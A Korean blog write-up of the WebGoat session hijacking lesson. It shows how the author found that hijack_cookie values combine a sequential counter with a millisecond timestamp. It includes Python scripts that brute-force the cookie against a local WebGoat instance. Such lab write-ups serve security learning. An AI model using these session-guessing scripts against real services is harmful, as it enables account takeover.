ragdo11 2025. 6. 4. 22:44

이론은 owasp 페이지에서, 실습은 owasp가 제공하는 webgoat에서!

취약한 접근 제어에서 첫 번째로 다룰 챕터는 세션 하이재킹이다.

첫 챕터부터 아주 사악하게 오래 걸렸음. 골 아플 정도로 고민을 많이 했고 아래에 간략하게 과정을 썼다.

 

보면 세션 id를 개발한 개발자가 세션의 복잡성과 무작위성을 포함시키는 것을 잊는다고 한다. 만약 사용자가 저런 취약한 세션 ID를 사용할 경우 앱은 세션 기반 무작위 대입 공격에 굉장히 취약해진다라고 한다.

 

여기서 요구하는 것은 hijack_cookie를 추측해보라 라는 것. 그렇다는 것은 아까 설명한대로 세션이 굉장히 취약하게 만들어지고 있음을 알 수 있다.

 

일단 로그인 시도를 해보자. 그리고 response 패킷을 보면

hijack_cookie 값이 저런 형태로 되어 있다. 음. 일단은 숫자로만 구성되어 있어 취약해보이긴 하나 아직은 뭔지 모르겠다. 한 번 더 로그인 시도

 

앞 숫자열에는 마지막 숫자만 하나씩 오른다. 뒤 숫자열은 한 번 더 request를 날리면 알 수 있을 것 같다.

 

뒤의 숫자열은 여섯자리가 바뀌는 듯하다.

여기서 다음 hijack_cookie 값은 어느 정도 예측해볼 수 있는데

hijack_cookie=88390144616903759[87]-1749039[___?___]

위의 형태임을 알 수 있다. 그리고 뒤의 6자리 숫자가 완전 무작위라기보다는 수가 증가하는 방식으로 보인다.

 

자 이제 brute forcing 하기 전에 분기점을 봐야지.

 

response 값에 lessonCompleted : false < 여길 노려보도록 하겠다. 브루트 포싱을 하면서 lesson.:false가 나오지 않는 지점을 성공이라 판단한다.

 

import requests

url = 'http://localhost:8080/WebGoat/~'
hijack_cookie = "8839014461690375987-1749039"

for i in range(700000, 1000000):
    guess = f"{i:06d}"
    cookie_value = f"{hijack_cookie}{guess}"
    cookies = {'hijack_cookie' : cookie_value}
    res = requests.post(url, cookies=cookies)
    
    if '"lessonCompleted" : false' not in res.text:
    	print(f"HIJACK A SESSION!!: {cookie_value}")
        break

range 값 시작을 70만으로 설정한 것은 뒤의 숫자가 조금씩 오르는 것으로 보아 70만 밑으로는 검사할 필요가 없기 때문이다. (물론 표본이 너무 적긴하다. 확실히 알기 위해선 10개는 찍어봤어야 하겠지만..) 

 

우선 첫 번째 실패

너무 뒤의 숫자의 증가율을 보면 그렇게 오래 걸릴게 아닌데 너무 오래걸리길래 일단 멈추고 혹시 몰라서 response 값을 봤다.

print(res.text)

>>

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>Login Page</title>
    <link rel="shortcut icon" href="/WebGoat/css/img/favicon.ico" type="image/x-icon"/>
    <link rel="stylesheet" type="text/css" href="/WebGoat/css/main.css"/>
    <link rel="stylesheet" type="text/css" href="/WebGoat/plugins/bootstrap/css/bootstrap.min.css"/>
    <link rel="stylesheet" type="text/css" href="/WebGoat/css/font-awesome.min.css"/>
    <link rel="stylesheet" type="text/css" href="/WebGoat/css/animate.css"/>
</head>
<body>
<section id="container">
    <header id="header">
        <div class="brand">
            <a href="/WebGoat/start.mvc" class="logo"><span>Web</span>Goat</a>
        </div>
        <div class="lessonTitle">
        </div>

    </header>
    <section class="main-content-wrapper">

        <section id="main-content">
            
            
            <br/><br/>
            <form action="/WebGoat/login" method='POST' style="width: 200px;">
                <div class="form-group">
                    <label for="exampleInputEmail1">Username</label>
                    <input autofocus="dummy_for_thymeleaf_parser" type="text" class="form-control"
                           id="exampleInputEmail1" placeholder="Username" name='username' />
                </div>
                <div class="form-group">
...

아. 로그인이 되지 않은채 값을 날리고 있어서 되지 않았다. 현재 보이는 코드는 webgoat 초기 로그인 페이지.

 

1차 수정

import requests

session = requests.Session()
login = 'http://localhost:8080/WebGoat/login'
login_data = {'username':'ragdo11','password':'ragdo11'}
session.post(login, data=login_data)

url = 'http://192.168.30.136:8080/WebGoat/HijackSession/login'
hijack_cookie = "8839014461690375987-1749039"
data = {'username':'rag','password':'do11'}

for i in range(700000, 1000000):
    guess = f"{i:06d}"
    cookie_value = f"{hijack_cookie}{guess}"
    cookies = {'hijack_cookie' : cookie_value}
    res = session.post(url, cookies=cookies, data=data)
    
    if '"lessonCompleted" : false' not in res.text:
    	print(f"HIJACK A SESSION!!: {cookie_value}")
        break

첫 코드가 몇몇을 고려하지 않은 채 작성되어서 추가해줬다. 로그인으로 세션 만들어주고, 실습 환경이 로그인 시도로 hijack_cookie 값을 response에 찍어내니까 실습 환경에서의 로그인도 해주면??

 

print(res.text)

>>

{
  "lessonCompleted" : false,
  "feedback" : "Sorry the solution is not correct, please try again.",
  "feedbackArgs" : null,
  "output" : null,
  "outputArgs" : null,
  "assignment" : "HijackSessionAssignment",
  "attemptWasMade" : true
}

아쉽게 hijacking은 실패했지만 그래도 준비는 되었다.

다만 여러 번의 시도로부터 실패를 했는데 그 이유를 알아보고자 코드의 분석과 response 값을 좀 비교해보자.

 

?????

아뿔싸. 6자리만 변동하는게 아니었다. 값이 꽤나 빠르게 커지는 방향으로의 변화가 일어나고 있다.

그리고 코드에서 쿠키를 출력 시도해보면 안다. requests 모듈의 전송 속도는 저 변화를 따라잡기엔 너무나도 느리다.

여기서 스레드를 시도해봐도 따라 잡을 속도가 안 나올 것 같다. 다른 방향을 모색해야 될 것 같다.

 

두 번째 실패

뒷 자리에 대해 고민해보면 무작위로 값이 변하지 않고 계속해서 커진다. 일정한 속도로 말이다. 여기서 고려해볼 수 있는 것은 혹시 뒷 자리를 timestamp를 사용하고 있는 것이 아닐까라는 의문이 든다.

 

파이썬에 time 모듈을 보면 굉장히 많은 함수가 있다. 

import time

print(time.time())

그 중에서 1970년 1월 1일을 기준으로 몇 초가 지났는지 반환해주는 time 함수를 사용해보면

 

어?? 굉장히 익숙한 모양새가 보인다.(결과값만 찍으니까 뭔가 초라해보이지만..) 그럼 조금만 더 그럴듯하게 바꿔보면?

 

import time

cookie = "8839014461690375988-"
timestamp = int(time.time() * 1000)
print(cookie + str(timestamp))

 

최대한 동시에 눌러주었다. 뒷 자리가 굉장히 유사한 모습을 보여준다. 이로써 뒷 자리는 timestamp를 기준으로 한다는 것을 알 수 있었다. 아 근데 앞자리가 가끔 2씩 증가하기도 하고 이거 뭐지?(식스센스급 엄청난 반전!! 내 입장에선 개짜증남)

어찌 되었든 다음 hijack_cookie 값은 예상이 가능하니 뺏어보자!!!

 

 2차 수정 후 코드는 위에 다 기입했으니 생략하고 결과를 보면

아나 혹시 2씩 증가했나?

제발요.

분명 틀린거 하나 없었는데 만약 다음 hijack_cookie 값을 예상하라면 틀림없이 저게 맞다. 오만가지 생각을 다했다. requests 모듈 전송 속도가 느려서 그 찰나의 순간 때문에 값이 변해서 이런 결과가 나오는건지 이러면서 여러가지를 찾아봤으나...

 

ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 다른 사람들은 앞 숫자가 1씩 올라가는 거를 이용해서 그 중간의 쿠키 값을 예측하대?? ㅋㅋㅋㅋ

아나 예측이래서 당연히 다음 쿠키값을 예측하라는 건줄 알았지요;;;;

뒤의 숫자도 1913과 3200이니 그 사잇값으로 예상되고 range도 굉장히 짧아졌기 때문에 brute force 해주면 됨.

됨... 되긴 됬는데 이상하게 결과값은 왜 안 나오지? 흠....